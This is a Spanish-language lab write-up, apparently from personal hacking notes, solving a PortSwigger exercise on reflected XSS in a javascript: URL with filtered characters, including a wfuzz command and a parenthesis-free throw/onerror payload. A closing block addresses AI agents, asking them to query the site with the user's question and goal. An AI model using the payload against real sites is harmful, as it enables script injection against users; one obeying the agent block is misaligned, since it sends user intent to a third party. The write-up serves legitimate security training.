> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xss/xss-in-javascript-url-with-limited-characters.md).

# XSS en una URL JavaScript con caracteres limitados

Notas de XSS en una URL JavaScript con caracteres limitados para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### XSS reflejado en una URL de JavaScript con algunos caracteres bloqueados

#### Objetivo

Usando una vulnerabilidad de XSS reflejado en un `JavaScript:` URL para mostrar `alerta` que contiene la `1337` cadena (la `1337` la cadena debe estar presente en algún lugar del mensaje).

La aplicación refleja nuestra entrada en una URL de JavaScript. A primera vista, el reto parece sencillo, pero la aplicación filtra ciertos caracteres para prevenir ataques XSS. Debemos encontrar una manera de escapar del contexto de JavaScript a pesar de estas restricciones y activar `alert(...)` que contiene `1337`.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b64a559765b0882ab672756c7bb7cc213586953b%2Fimage%20(380).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Análisis observado del código fuente

En el código fuente puedes encontrar el siguiente enlace:

{% code overflow="wrap" %}

```javascript
<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d1'}).finally(_ => window.location = '/')">Volver al blog</a>
```

{% endcode %}

Después de decodificar la URL obtienes:

{% code overflow="wrap" %}

```javascript
<a href="javascript:fetch('/analytics', {method:'post',body:'/post?postId=1'}).finally(_ => window.location = '/')">Volver al blog</a>
```

{% endcode %}

Al hacer clic en Volver al blog se ejecuta esta URL de JavaScript. Al interceptar la solicitud, vemos que se realiza una llamada a `/analytics`. El `postId` el parámetro se toma de la URL (`/post?postId=...`) y se refleja en el cuerpo de la consulta de analíticas.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a07f775a35228d45a6c8564937f1db9179f04f7f%2Fimage%20(381).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Primer intento — ruptura del análisis

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b2deeb4a0d83c72bed0d649c4cd4c79c5f90aed9%2Fimage%20(382).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Al inyectar una sola apóstrofe, el análisis se rompe (el ID se vuelve inválido):

```javascript
2'},{x:'
```

La apóstrofe rompe la estructura, lo que muestra que el valor se inserta en un contexto donde las comillas tienen impacto.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eafbd4b6c697a864ca230534465015f5fa7bdbe7%2Fimage%20(383).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### Fuzzing de caracteres especiales

Probamos rápidamente qué caracteres especiales producen una respuesta válida (con `wfuzz` y el `special-chars.txt` lista). Comando de ejemplo utilizado:

{% code overflow="wrap" %}

```bash
wfuzz -c -w /usr/share/SecLists/Fuzzing/special-chars.txt 'https://0a530041036b803fbb5cd40a009500a8.web-security-academy.net/post?postId=2FUZZ%27},{x:%27'
```

{% endcode %}

Los resultados muestran que `&` y `#` producen un código 200 — son aceptados por el analizador y permiten insertar secuencias que cierran correctamente la estructura.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9888ae641e32704e5f6282e36c33ed178bf7dd4%2Fimage%20(384).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Interpretación observada:

```javascript
post?postId=2&
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5eb3c4e792290018da04615a1c277011954fcaac%2Fimage%20(385).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Construcción del vector de escape

Al cerrar correctamente el valor e insertar código, puedes obtener:

```javascript
post?postId=2&'},{x:''
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f2eecf334ae1509486a3929bf782c5bae95a3cfc%2Fimage%20(386).png?alt=media" alt=""><figcaption></figcaption></figure>

Aquí `x` permanece vacío y la sintaxis es aceptada.

Luego intentamos agregar un `alerta` directamente:

```javascript
post?postId=2&'},alert(1),{x:''
```

Pero `()` los paréntesis de `alert(1)` son eliminados por el filtro — así que tienes que eludir la obligación de usar `()`.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d11316cbe25d7f278b47dfcae12a2dd8a5692c66%2Fimage%20(387).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Evasión sin paréntesis

Se evita el uso de paréntesis y se usan expresiones JavaScript más creativas para invocar `alerta` con `1337` en la salida. La carga útil final utilizada es:

```javascript
2&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window%2b'',{x:'
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71729aa53912826e73dcc9928121689ac0581bd8%2Fimage%20(388).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/xss/xss-in-javascript-url-with-limited-characters.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
